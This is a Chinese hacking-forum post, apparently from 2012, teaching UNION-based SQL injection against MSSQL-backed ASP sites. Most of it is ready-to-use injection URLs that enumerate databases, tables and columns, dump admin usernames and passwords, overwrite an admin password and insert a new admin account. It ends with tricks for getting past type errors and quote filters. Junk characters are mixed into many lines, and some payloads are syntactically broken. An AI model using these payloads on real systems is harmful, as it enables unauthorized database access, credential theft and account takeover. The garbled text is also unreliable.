找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
/ ?2 e3 A. o3 j+ q1 Vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
$ g* w, x& l( I3 w8 n) c0 ZSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
( O" n8 j, o& ~0 j, x; c9 A( `爆下一个库:
$ S0 y4 \/ O* y9 L5 o" [http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
( E) K# n1 ^: c1 U. @) m3 {; _9 e$ O' i
爆表:
. z# \) F$ ~% R( B4 whttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--: u2 i4 r) Q9 O1 v' z" \7 }

) Z2 q0 S4 \( ]4 d- oSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
7 g9 a1 M( y: H+ S4 B1 o: t
! J9 T' v$ I0 R1 J5 v  j. X) n爆下一个表
5 w3 T8 _5 Z( A! dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--3 w( l$ E8 P' v) B
8 k: M6 a2 P4 F0 B9 l
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--. w" c8 U: e# |  v

6 }& A. o0 a* Z& M! Q
, w- p0 n( f0 I
' f8 U$ u+ R3 r! K9 z8 G6 l5 P2 [爆字段:
. l6 b) J% n( F5 q4 mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
0 Q- ^" v5 J3 B& |/ R
' o" y/ `. a3 ]" t" \5 P爆下一个字段. X/ I0 C: s% N8 m
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--" @, e* S" p4 ~

; R& g: w! v8 V  g, g+ \. `3 chttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
7 a' H" K. d) t* A. W7 U; a9 {, J4 r/ W( O/ S6 g$ Q

! v  {6 o$ R8 U% B) N! ]爆字段里的内容
$ e4 V1 F7 X& P4 x4 H  zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
- k" g9 t7 f0 v& |) J$ M: e' U1 `' J; ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
) R+ M. ]6 \6 h( |2 o/ o
' @8 S/ C6 n% G% q" vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--2 S* R& o4 _9 _
  W% J' P' {8 p0 U' Y
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--  V: K  Y+ E5 |" {
$ T- [7 R' E: g5 y$ g+ [
更新字段里的内容, `. w# I; N, V# i3 B6 p8 Q" t
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
! c! v6 R  h" j' v
# k7 J7 W4 O6 V8 A4 y/ f6 b6 Phttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--5 T1 Y( c! a# {& f1 l$ A; `
4 T: ~4 m- f+ n7 x, t

* [' v" h6 Z# {
& n' L. e* D3 O" f% B! \        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
) A: g& R) `9 _. K( S2 B    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
, b1 P  V! I, c* i/ e9 h9 L0 ?) b    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。$ r! j: o; _$ q* |/ J2 p" G. R
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。' y, b& v, f! ~. T& z# S

8 F5 p" `5 b) e& F( g0 m7 U突了了大部份限制的语句
& Q; I4 Z9 t) b9 Y  S2 i$ fand 1=2 union all select char(49),char(50),null,null;--
- e/ Y8 {. G8 g1 ^
) ^5 |/ P$ Z  ?3 H) M0 P% a
6 a1 I- V/ A  Z9 @: ^) |2 Enull也可以正常执行,不过没有回显,不好判断回显的列数。
, y! s0 n4 U# |一般union遇到问题都是有text或者ntext字段,image的很少遇到
% i- R8 \. j9 c( `8 e( o2 K
5 b- P5 A7 N, d  \可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟* |2 ^3 @7 V; T/ F% E

, k! h8 ~3 s& g# k* Y4 Y6 {
1 z9 ]) D2 q! I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表